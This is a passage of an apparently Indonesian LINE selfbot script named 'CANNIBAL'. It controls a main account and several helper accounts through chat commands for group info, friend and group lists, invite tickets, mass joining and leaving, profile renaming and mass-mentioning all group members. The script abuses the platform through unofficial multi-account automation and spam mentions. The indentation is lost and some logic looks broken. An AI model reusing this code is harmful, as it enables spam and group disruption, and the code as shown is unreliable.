# "imageUrl": "https://2.bp.blogspot.com/-ZlkxlajQM4k/WMlfThHb6eI/AAAAAAAOBf4/BNwKEazXVbc2xK2acnDck8MLJZ21lCeJwCLcB/s1600/AW392405_04.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "otw" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://1.bp.blogspot.com/-CSIjz01zHi0/WMlfTS0Qw2I/AAAAAAAOBf0/7gw5JrbNbkQe-rdMqaNGuhhVBpE4snhWACLcB/s1600/AW392405_03.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
# elif "oke" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://3.bp.blogspot.com/-_ZZg6eH89Gc/WE95b91DwsI/AAAAAAAEpnI/tWy69rJIAmsPx7clwzBhVXiSOdpZSp4NACLcB/s1600/AW305486_05.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "sue" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://i.ibb.co/y0wP3fJ/tai-line.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "wkwk" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://thumbs.gfycat.com/QuaintScornfulAmericanlobster-small.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "coba" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://stickershop.line-scdn.net/stickershop/v1/sticker/32128231/IOS/sticker_animation@2x.png",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "wah" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://appstickers-cdn.appadvice.com/1161475669/819158103/5950933cc2b8a0948941fc446c3e1938-5.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "cium" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://i.ibb.co/CVMQ40k/7c8ab257ee3b7e1ef283b7c0a35d9d2c.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "gombal" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://thumbs.gfycat.com/KlutzyUglyGelding-small.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "diam" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://thumbs.gfycat.com/BigIdealAsianelephant-small.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
#
# elif "sepi" in msg.text.lower():
# url = "https://game.linefriends.com/jbp-lcs-ranking/lcs/sendMessage"
# to = msg.to
# data = {
# "type": "template",
# "altText": "{} sent a sticker".format(cl.getProfile().displayName),
# "template": {
# "type": "image_carousel",
# "columns": [
# {
# "imageUrl": "https://i.ibb.co/hHG5Mwb/AW316819-05.gif",
# "size": "full",
# "action": {
# "type": "uri",
# "uri": "http://line.me/ti/p/~muhajir_alwi"
# }
# }
# ]
# }
# }
# cl.postTemplate(to, data)
elif text.lower() == "mykey":
if wait["selfbot"] == True:
if msg._from in admin:
sendTextTemplate(msg.to, "「Mykey」\nSetkey bot mu「 " + str(Setmain["keyCommand"]) + " 」")
elif cmd.startswith("setkey "):
if wait["selfbot"] == True:
if msg._from in admin:
sep = text.split(" ")
key = text.replace(sep[0] + " ","")
if key in [""," ","\n",None]:
sendTextTemplate(msg.to, "🔹ɢᴀɢᴀʟ ᴍᴇɴɢɢᴀɴᴛɪ ᴋᴇʏ")
else:
Setmain["keyCommand"] = str(key).lower()
sendTextTemplate(msg.to, "🔹sᴇᴛᴋᴇʏ\n🔹ᴅɪ ɢᴀɴᴛɪ ᴊᴀᴅɪ「{}」".format(str(key).lower()))
elif text.lower() == "resetkey":
if wait["selfbot"] == True:
if msg._from in admin:
Setmain["keyCommand"] = ""
sendTextTemplate(msg.to, "🔹sᴇᴛᴋᴇʏ\n🔹ᴋᴇᴍʙᴀʟɪ ᴋᴇ ᴀᴡᴀʟ")
elif cmd == "restart":
if wait["selfbot"] == True:
if msg._from in admin:
sendTextTemplate(msg.to, "🔹ᴡᴀɪᴛ....")
Setmain["restartPoint"] = msg.to
restartBot()
sendTextTemplate(msg.to, "🔹ᴅᴏɴᴇ ʀᴇsᴛᴀʀᴛ...")
elif cmd == "runtime":
if wait["selfbot"] == True:
if msg._from in admin:
eltime = time.time() - mulai
bot = "🔹ʙᴏᴛ ᴀᴋᴛɪғ sᴇʟᴀᴍᴀ🔹\n" +waktu(eltime)
sendTextTemplate(msg.to,bot)
elif cmd == "ginfo":
if msg._from in admin:
try:
G = cl.getGroup(msg.to)
if G.invitee is None:
gPending = "0"
else:
gPending = str(len(G.invitee))
if G.preventedJoinByTicket == True:
gQr = "🔹ᴛᴇʀᴛᴜᴛᴜᴘ"
gTicket = "♦️ᴛɪᴅᴀᴋ ᴀᴅᴀ"
else:
gQr = "🔹ᴛᴇʀʙᴜᴋᴀ"
gTicket = "https://line.me/R/ti/g/{}".format(str(cl.reissueGroupTicket(G.id)))
timeCreated = []
timeCreated.append(time.strftime("%d-%m-%Y [ %H:%M:%S ]", time.localtime(int(G.createdTime) / 1000)))
sendTextTemplate(msg.to, "🔹CANNIBAL KILLER🔹ɢʀᴜᴘ ɪɴғᴏ\n\n🔹ɴᴀᴍᴀ ɢʀᴜᴘ : {}".format(G.name)+ "\n🔹ɪᴅ ɢʀᴜᴘ : {}".format(G.id)+ "\n🔹ᴘᴇᴍʙᴜᴀᴛ : {}".format(G.creator.displayName)+ "\n🔹ᴡᴀᴋᴛᴜ ᴅɪ ʙᴜᴀᴛ : {}".format(str(timeCreated))+ "\n🔹ᴊᴜᴍʟᴀʜ ᴀɴɢɢᴏᴛᴀ : {}".format(str(len(G.members)))+ "\n🔹ᴊᴜᴍʟᴀʜ ᴘᴇɴᴅɪɴɢᴀɴ : {}".format(gPending)+ "\n🔹ɢʀᴜᴘ ǫʀ : {}".format(gQr)+ "\n🔹ɢʀᴜᴘ ᴛɪᴄᴋᴇᴛ : {}".format(gTicket))
cl.sendMessage(msg.to, None, contentMetadata={'mid': G.creator.mid}, contentType=13)
except Exception as e:
sendTextTemplate(msg.to, str(e))
elif cmd.startswith("infogrup "):
if msg._from in admin:
separate = text.split(" ")
number = text.replace(separate[0] + " ","")
groups = cl.getGroupIdsJoined()
ret_ = ""
try:
group = groups[int(number)-1]
G = cl.getGroup(group)
try:
gCreator = G.creator.displayName
except:
gCreator = "🔹ᴛɪᴅᴀᴋ ᴅɪ ᴛᴇᴍᴜᴋᴀɴ"
if G.invitee is None:
gPending = "0"
else:
gPending = str(len(G.invitee))
if G.preventedJoinByTicket == True:
gQr = "🔹ᴛᴇʀᴛᴜᴛᴜᴘ"
gTicket = "♦️ᴛɪᴅᴀᴋ ᴀᴅᴀ"
else:
gQr = "🔹ᴛᴇʀʙᴜᴋᴀ"
gTicket = "https://line.me/R/ti/g/{}".format(str(cl.reissueGroupTicket(G.id)))
timeCreated = []
timeCreated.append(time.strftime("%d-%m-%Y [ %H:%M:%S ]", time.localtime(int(G.createdTime) / 1000)))
ret_ += "🔹ᴄᴍᴅ ɢʀᴜᴘ ɪɴғᴏ🔹\n"
ret_ += "\n🔹ɴᴀᴍᴀ ɢʀᴜᴘ : {}".format(G.name)
ret_ += "\n🔹ɪᴅ ɢʀᴜᴘ : {}".format(G.id)
ret_ += "\n🔹ᴘᴇᴍʙᴜᴀᴛ : {}".format(gCreator)
ret_ += "\n🔹ᴡᴀᴋᴛᴜ ᴅɪʙᴜᴀᴛ : {}".format(str(timeCreated))
ret_ += "\n🔹ᴊᴜᴍʟᴀʜ ᴀɴɢɢᴏᴛᴀ : {}".format(str(len(G.members)))
ret_ += "\n🔹ᴊᴜᴍʟᴀʜ ᴘᴇɴᴅɪɴɢᴀɴ : {}".format(gPending)
ret_ += "\n🔹ɢʀᴜᴘ ǫʀ : {}".format(gQr)
ret_ += "\n🔹ɢʀᴜᴘ ᴛɪᴄᴋᴇᴛ : {}".format(gTicket)
ret_ += ""
sendTextTemplate8(to, str(ret_))
except:
pass
elif cmd.startswith("infomem "):
if msg._from in admin:
separate = msg.text.split(" ")
number = msg.text.replace(separate[0] + " ","")
groups = cl.getGroupIdsJoined()
ret_ = ""
try:
group = groups[int(number)-1]
G = cl.getGroup(group)
no = 0
ret_ = ""
for mem in G.members:
no += 1
ret_ += "\n " "├🔹"+ str(no) + ". " + mem.displayName
sendTextTemplate(to," 🔹ɢʀᴜᴘ ɴᴀᴍᴇ : [ " + str(G.name) + " ]\n\n [ʟɪsᴛ ᴀɴɢɢᴏᴛᴀ ]\n" + ret_ + "\n\n🔹ᴛᴏᴛᴀʟ %i ᴀɴɢɢᴏᴛᴀ🔹" % len(G.members))
except:
pass
elif cmd.startswith("leave: "):
if msg._from in admin:
separate = msg.text.split(" ")
number = msg.text.replace(separate[0] + " ","")
groups = cl.getGroupIdsJoined()
group = groups[int(number)-1]
for i in group:
ginfo = cl.getGroup(i)
if ginfo == group:
ki.leaveGroup(i)
kk.leaveGroup(i)
kc.leaveGroup(i)
km.leaveGroup(i)
kb.leaveGroup(i)
ko.leaveGroup(i)
ke.leaveGroup(i)
kf.leaveGroup(i)
kg.leaveGroup(i)
kh.leaveGroup(i)
sendTextTemplate4(msg.to,"🔹ᴅᴏɴᴇ ᴋᴇʟᴜᴀʀ ɢʀᴜᴘ" +str(ginfo.name))
elif cmd == "friendlist":
if wait["selfbot"] == True:
if msg._from in admin:
ma = ""
a = 0
gid = cl.getAllContactIds()
for i in gid:
G = cl.getContact(i)
a = a + 1
end = "\n"
ma += "├🔹" + str(a) + ". " +G.displayName+ "\n"
sendTextTemplate(msg.to,"╭── 🔹ɢʀᴏᴜᴘ ʟɪsᴛ🔹\n│\n"+ma+"│\n╰──🔹ᴛᴏᴛᴀʟ"+str(len(gid))+"ɢʀᴏᴜᴘ🔹")
elif cmd == "gruplist":
if wait["selfbot"] == True:
if msg._from in admin:
ma = ""
a = 0
gid = cl.getGroupIdsJoined()
for i in gid:
G = cl.getGroup(i)
a = a + 1
end = "\n"
ma += "├🔹" + str(a) + ". " +G.name+ "\n"
sendTextTemplate(msg.to,"╭── 🔹ɢʀᴏᴜᴘ ʟɪsᴛ🔹\n│\n"+ma+"│\n╰──🔹ᴛᴏᴛᴀʟ"+str(len(gid))+"ɢʀᴏᴜᴘ🔹")
elif cmd == "gruplist1":
if msg._from in admin:
ma = ""
a = 0
gid = ki.getGroupIdsJoined()
for i in gid:
G = ki.getGroup(i)
a = a + 1
end = "\n"
ma += "├🔹" + str(a) + ". " +G.name+ "\n"
ki.sendMessage(msg.to,"╭── 🔹ɢʀᴏᴜᴘ ʟɪsᴛ🔹\n│\n"+ma+"│\n╰──🔹ᴛᴏᴛᴀʟ"+str(len(gid))+"ɢʀᴏᴜᴘ🔹")
elif cmd == "gruplist2":
if msg._from in admin:
ma = ""
a = 0
gid = kk.getGroupIdsJoined()
for i in gid:
G = kk.getGroup(i)
a = a + 1
end = "\n"
ma += "├🔹" + str(a) + ". " +G.name+ "\n"
kk.sendMessage(msg.to,"╭── 🔹ɢʀᴏᴜᴘ ʟɪsᴛ🔹\n│\n"+ma+"│\n╰──🔹ᴛᴏᴛᴀʟ"+str(len(gid))+"ɢʀᴏᴜᴘ🔹")
elif cmd == "gruplist3":
if msg._from in admin:
ma = ""
a = 0
gid = kc.getGroupIdsJoined()
for i in gid:
G = kc.getGroup(i)
a = a + 1
end = "\n"
ma += "├🔹" + str(a) + ". " +G.name+ "\n"
kc.sendMessage(msg.to,"╭── 🔹ɢʀᴏᴜᴘ ʟɪsᴛ🔹\n│\n"+ma+"│\n╰──🔹ᴛᴏᴛᴀʟ"+str(len(gid))+"ɢʀᴏᴜᴘ🔹")
elif cmd == "gruplist4":
if msg._from in admin:
ma = ""
a = 0
gid = ko.getGroupIdsJoined()
for i in gid:
G = ko.getGroup(i)
a = a + 1
end = "\n"
ma += "├🔹" + str(a) + ". " +G.name+ "\n"
ko.sendMessage(msg.to,"╭── 🔹ɢʀᴏᴜᴘ ʟɪsᴛ🔹\n│\n"+ma+"│\n╰──🔹ᴛᴏᴛᴀʟ"+str(len(gid))+"ɢʀᴏᴜᴘ🔹")
elif cmd == "open":
if wait["selfbot"] == True:
if msg._from in admin:
if msg.toType == 2:
X = cl.getGroup(msg.to)
X.preventedJoinByTicket = False
cl.updateGroup(X)
sendTextTemplate(msg.to, "🔹ᴏᴘᴇɴ ᴜʀʟ")
elif cmd == "close":
if wait["selfbot"] == True:
if msg._from in admin:
if msg.toType == 2:
X = cl.getGroup(msg.to)
X.preventedJoinByTicket = True
cl.updateGroup(X)
sendTextTemplate(msg.to, "🔹ᴄʟᴏsᴇ ᴜʀʟ")
elif cmd == "url grup":
if wait["selfbot"] == True:
if msg._from in admin:
if msg.toType == 2:
x = cl.getGroup(msg.to)
if x.preventedJoinByTicket == True:
x.preventedJoinByTicket = False
cl.updateGroup(x)
gurl = cl.reissueGroupTicket(msg.to)
cl.sendMessage(msg.to, "ɴᴀᴍᴀ : "+str(x.name)+ "\nᴜʀʟ ɢʀᴜᴘ : http://line.me/R/ti/g/"+gurl)
#===========BOT UPDATE============#
elif cmd == "updategrup":
if wait["selfbot"] == True:
if msg._from in admin:
if msg.toType == 2:
settings["groupPicture"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "updatebot":
if wait["selfbot"] == True:
if msg._from in admin:
settings["changePicture"] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "gantifoto":
if wait["selfbot"] == True:
if msg._from in admin:
Setmain["RAfoto"][mid] = True
sendTextTemplate(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot1":
if msg._from in admin:
Setmain["RAfoto"][Amid] = True
ki.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot2":
if msg._from in admin:
Setmain["RAfoto"][Bmid] = True
kk.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot3":
if msg._from in admin:
Setmain["RAfoto"][Cmid] = True
kc.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot4":
if msg._from in admin:
Setmain["RAfoto"][Dmid] = True
ko.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot5":
if msg._from in admin:
Setmain["RAfoto"][Emid] = True
sw.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot6":
if msg._from in admin:
Setmain["RAfoto"][Fmid] = True
sw.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot7":
if msg._from in admin:
Setmain["RAfoto"][Gmid] = True
sw.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot8":
if msg._from in admin:
Setmain["RAfoto"][Hmid] = True
sw.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot9":
if msg._from in admin:
Setmain["RAfoto"][Imid] = True
sw.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot10":
if msg._from in admin:
Setmain["RAfoto"][Jmid] = True
sw.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd == "bot11":
if msg._from in admin:
Setmain["RAfoto"][Zmid] = True
sw.sendMessage(msg.to,"🔹ᴋɪʀɪᴍ ғᴏᴛᴏɴʏᴀ")
elif cmd.startswith("myname: "):
if msg._from in admin:
separate = msg.text.split(" ")
string = msg.text.replace(separate[0] + " ","")
if len(string) <= 10000000000:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
sendTextTemplate(msg.to,"🔹ɴᴀᴍᴀ ᴅɪ ɢᴀɴᴛɪ ᴊᴀᴅɪ " + string + "")
elif cmd.startswith("bot1gname: "):
if msg._from in admin:
separate = msg.text.split(" ")
string = msg.text.replace(separate[0] + " ","")
if len(string) <= 10000000000:
profile = ki.getProfile()
profile.displayName = string
ki.updateProfile(profile)
ki.sendMessage(msg.to,"🔹ɴᴀᴍᴀ ᴅɪ ɢᴀɴᴛɪ ᴊᴀᴅɪ " + string + "")
elif cmd.startswith("bot2gname: "):
if msg._from in admin:
separate = msg.text.split(" ")
string = msg.text.replace(separate[0] + " ","")
if len(string) <= 10000000000:
profile = kk.getProfile()
profile.displayName = string
kk.updateProfile(profile)
kk.sendMessage(msg.to,"🔹ɴᴀᴍᴀ ᴅɪ ɢᴀɴᴛɪ ᴊᴀᴅɪ " + string + "")
elif cmd.startswith("bot3gname: "):
if msg._from in admin:
separate = msg.text.split(" ")
string = msg.text.replace(separate[0] + " ","")
if len(string) <= 10000000000:
profile = kc.getProfile()
profile.displayName = string
kc.updateProfile(profile)
kc.sendMessage(msg.to,"🔹ɴᴀᴍᴀ ᴅɪ ɢᴀɴᴛɪ ᴊᴀᴅɪ " + string + "")
elif cmd.startswith("bot4gname: "):
if msg._from in admin:
separate = msg.text.split(" ")
string = msg.text.replace(separate[0] + " ","")
if len(string) <= 10000000000:
profile = ko.getProfile()
profile.displayName = string
ko.updateProfile(profile)
ko.sendMessage(msg.to,"🔹ɴᴀᴍᴀ ᴅɪ ɢᴀɴᴛɪ ᴊᴀᴅɪ " + string + "")
elif cmd.startswith("bot5gname: "):
if msg._from in admin:
separate = msg.text.split(" ")
string = msg.text.replace(separate[0] + " ","")
if len(string) <= 10000000000:
profile = sw.getProfile()
profile.displayName = string
sw.updateProfile(profile)
sw.sendMessage(msg.to,"🔹ɴᴀᴍᴀ ᴅɪ ɢᴀɴᴛɪ ᴊᴀᴅɪ " + string + "")
#===========BOT UPDATE============#
elif cmd == "woy" or text.lower() == 'colok':
if wait["selfbot"] == True:
if msg._from in admin:
group = cl.getGroup(msg.to)
nama = [contact.mid for contact in group.members]
k = len(nama)//20
for a in range(k+1):
txt = u''
s=0
b=[]
for i in group.members[a*20 : (a+1)*20]:
b.append({"S":str(s), "E" :str(s+6), "M":i.mid})
s += 7
txt += u'@Zero \n'
cl.sendMessage(msg.to, text=txt, contentMetadata={u'MENTION': json.dumps({'MENTIONEES':b})}, contentType=0)
elif cmd == "listbot":
if wait["selfbot"] == True:
if msg._from in admin:
ma = ""
a = 0
for m_id in Bots:
a = a + 1
end = '\n'
ma += str(a) + ". " +cl.getContact(m_id).displayName + "\n"
sendTextTemplate(msg.to,"🔹ʟɪsᴛ ʙᴏᴛ🔹\n\n"+ma+"\n🔹ᴛᴏᴛᴀʟ ʙᴏᴛ ᴀʙɪ「%s」🔹" %(str(len(Bots))))
elif cmd == "ladmin":
if wait["selfbot"] == True:
if msg._from in admin:
ma = ""
mb = ""
mc = ""
a = 0
b = 0
c = 0
for m_id in owner:
a = a + 1
end = '\n'
ma += str(a) + ". " +cl.getContact(m_id).displayName + "\n"
for m_id in admin:
b = b + 1
end = '\n'
mb += str(b) + ". " +cl.getContact(m_id).displayName + "\n"
for m_id in staff:
c = c + 1
end = '\n'
mc += str(c) + ". " +cl.getContact(m_id).displayName + "\n"
sendTextTemplate3(msg.to,"♦️ADMIN CANNIBAL♦️\n\n♦️sᴜᴘᴇʀ ᴀᴅᴍɪɴ :\n"+ma+"\n♦️ᴀᴅᴍɪɴ :\n"+mb+"\n♦️sᴛᴀғғ :\n"+mc+"\n♦️JUMLAH ADMIN CANNIBAL「%s」♦️" %(str(len(owner)+len(admin)+len(staff))))
elif cmd == "listadmin":
if wait["selfbot"] == True:
if msg._from in admin:
ma = ""
mb = ""
mc = ""
a = 0
b = 0
c = 0
for m_id in owner:
a = a + 1
end = '\n'
ma += str(a) + ". " +cl.getContact(m_id).displayName + "\n"
for m_id in admin:
b = b + 1
end = '\n'
mb += str(b) + ". " +cl.getContact(m_id).displayName + "\n"
for m_id in staff:
c = c + 1
end = '\n'
mc += str(c) + ". " +cl.getContact(m_id).displayName + "\n"
sendTextTemplate3(msg.to,"🔹ADMIN CANNIBAL🔹\n\n🔹sᴜᴘᴇʀ ᴀᴅᴍɪɴ :\n"+ma+"\n🔹ᴀᴅᴍɪɴ :\n"+mb+"\n🔹sᴛᴀғғ :\n"+mc+"\n🔹JUMLAH ADMIN CANNIBAL「%s」🔹" %(str(len(owner)+len(admin)+len(staff))))
elif cmd == "listprotect":
if wait["selfbot"] == True:
if msg._from in admin:
ma = ""
mb = ""
mc = ""
md = ""
a = 0
b = 0
c = 0
d = 0
gid = protectqr
for group in gid:
a = a + 1
end = '\n'
ma += str(a) + ". " +cl.getGroup(group).name + "\n"
gid = protectkick
for group in gid:
b = b + 1
end = '\n'
mb += str(b) + ". " +cl.getGroup(group).name + "\n"
gid = protectjoin
for group in gid:
d = d + 1
end = '\n'
md += str(d) + ". " +cl.getGroup(group).name + "\n"
gid = protectcancel
for group in gid:
c = c + 1
end = '\n'
mc += str(c) + ". " +cl.getGroup(group).name + "\n"
sendTextTemplate(msg.to,"🔹ᴄᴇᴋ ᴘʀᴏ ɢʀᴏᴜᴘ🔹\n\n🔹ᴘʀᴏ ᴜʀʟ :\n"+ma+"\n🔹ᴘʀᴏ ᴋɪᴄᴋ :\n"+mb+"\n🔹ᴘʀᴏ ᴊᴏɪɴ :\n"+md+"\n🔹ᴘʀᴏ ᴄᴀɴᴄᴇʟ :\n"+mc+"\n🔹ᴊᴜᴍʟᴀʜ %s ɢʀᴏᴜᴘ CANNIBAL JAGA🔹" %(str(len(protectqr)+len(protectkick)+len(protectjoin)+len(protectcancel))))
elif cmd == "cannibal":
if wait["selfbot"] == True:
if msg._from in admin:
ki.sendMessage(msg.to,responsename1)
kk.sendMessage(msg.to,responsename2)
kc.sendMessage(msg.to,responsename3)
ko.sendMessage(msg.to,responsename4)
jk.sendMessage(msg.to,responsename5)
elif cmd == "join":
if wait["selfbot"] == True:
if msg._from in admin:
try:
anggota = [Amid,Bmid,Cmid,Dmid,Emid]
cl.inviteIntoGroup(msg.to, anggota)
kk.acceptGroupInvitation(msg.to)
kc.acceptGroupInvitation(msg.to)
ki.acceptGroupInvitation(msg.to)
ko.acceptGroupInvitation(msg.to)
jk.acceptGroupInvitation(msg.to)
except:
pass
elif cmd == "stay":
if wait["selfbot"] == True:
if msg._from in admin:
try:
ginfo = cl.getGroup(msg.to)
cl.inviteIntoGroup(msg.to, [Zmid])
sendTextTemplate(msg.to,"[ ɢʀᴏᴜᴘ ] \n🔹"+str(ginfo.name)+"\n 🔹sɪᴀᴘ ʙᴀsᴍɪ ᴋɪᴋɪʟ ᴛᴇᴍᴘᴇ")
except:
pass
elif cmd == "out":
if wait["selfbot"] == True:
if msg._from in admin:
G = cl.getGroup(msg.to)
ki.leaveGroup(msg.to)
kk.leaveGroup(msg.to)
kc.leaveGroup(msg.to)
ko.leaveGroup(msg.to)
jk.leaveGroup(msg.to)
elif cmd == "byeme":
if wait["selfbot"] == True:
if msg._from in admin:
G = cl.getGroup(msg.to)
sendTextTemplate(msg.to, "🔹ɢᴏᴏᴅ ʙʏᴇ ᴄᴀʏᴀɴᴋ🔹\n "+str(G.name))
cl.leaveGroup(msg.to)
elif cmd.startswith("joinall "):
if msg._from in admin:
separate = text.split(" ")
number = text.replace(separate[0] + " ","")
groups = cl.getGroupIdsJoined()
ret_ = ""
try:
group = groups[int(number)-1]
G = cl.getGroup(group)
G.preventedJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(group)
cl.acceptGroupInvitationByTicket(group,Ticket)
ki.acceptGroupInvitationByTicket(group,Ticket)
kk.acceptGroupInvitationByTicket(group,Ticket)
kc.acceptGroupInvitationByTicket(group,Ticket)
ko.acceptGroupInvitationByTicket(group,Ticket)
G.preventedJoinByTicket = True
cl.updateGroup(G)
try:
gCreator = G.creator.mid
dia = cl.getContact(gCreator)
zx = ""
zxc = ""
zx2 = []
xpesan = '「 ᴍᴀsᴜᴋ ɢʀᴜᴘ」\nᴄʀᴇᴀᴛᴏʀ : '
diaa = str(dia.displayName)
pesan = ''
pesan2 = pesan+"@a\n"
xlen = str(len(zxc)+len(xpesan))
xlen2 = str(len(zxc)+len(pesan2)+len(xpesan)-1)
zx = {'S':xlen, 'E':xlen2, 'M':dia.mid}
zx2.append(zx)
zxc += pesan2
except:
gCreator = "Tidak ditemukan"
if G.invitee is None:
gPending = "0"
else:
gPending = str(len(G.invitee))
if G.preventedJoinByTicket == True:
gQr = "Tertutup"
gTicket = "Tidak ada"
else:
gQr = "Terbuka"
gTicket = "https://line.me/R/ti/g/{}".format(str(cl.reissueGroupTicket(G.id)))
timeCreated = []
timeCreated.append(time.strftime("%d-%m-%Y [ %H:%M:%S ]", time.localtime(int(G.createdTime) / 1000)))
ret_ += xpesan+zxc
ret_ += "• Nama grup : {}".format(G.name)
ret_ += "\n• Group Qr : {}".format(gQr)
ret_ += "\n• Pendingan : {}".format(gPending)
ret_ += "\n• Group Ticket : {}".format(gTicket)
ret_ += ""
sendTextTemplate3(receiver, ret_, contentMetadata={'MENTION':str('{"MENTIONEES":'+json.dumps(zx2).replace(' ','')+'}')}, contentType=0)
except:
pass
elif cmd.startswith("leave "):
if msg._from in admin:
proses = text.split(" ")
ng = text.replace(proses[0] + " ","")
gid = cl.getGroupIdsJoined()
for i in gid:
h = cl.getGroup(i).name
if h == ng:
ki.sendMessage(i, "🔹ᴘᴀᴘᴀʏ sᴇᴍᴜᴀ ɴʏᴀ♦️")
ki.leaveGroup(i)
kk.leaveGroup(i)
kc.leaveGroup(i)
ko.leaveGroup(i)
sendTextTemplate4(to,"🔹ᴍᴏʟᴇ ᴅᴜʟᴜ ʏᴀ ᴍᴀᴜ ɴʏᴜsᴜ♦️" +h)
elif cmd == "in":
if msg._from in admin:
G = cl.getGroup(msg.to)
ginfo = cl.getGroup(msg.to)
G.preventedJoinByTicket = False
cl.updateGroup(G)
invsend = 0
Ticket = cl.reissueGroupTicket(msg.to)
ki.acceptGroupInvitationByTicket(msg.to,Ticket)
kk.acceptGroupInvitationByTicket(msg.to,Ticket)
kc.acceptGroupInvitationByTicket(msg.to,Ticket)
ko.acceptGroupInvitationByTicket(msg.to,Ticket)
jk.acceptGroupInvitationByTicket(msg.to,Ticket)
G = cl.getGroup(msg.to)
G.preventedJoinByTicket = True
cl.updateGroup(G)
elif cmd == "pasukan":
if wait["selfbot"] == True:
if msg._from in admin:
ki.sendMessage(msg.to, "ʀᴇᴀᴅʏ ʙᴏssᴋᴜ")
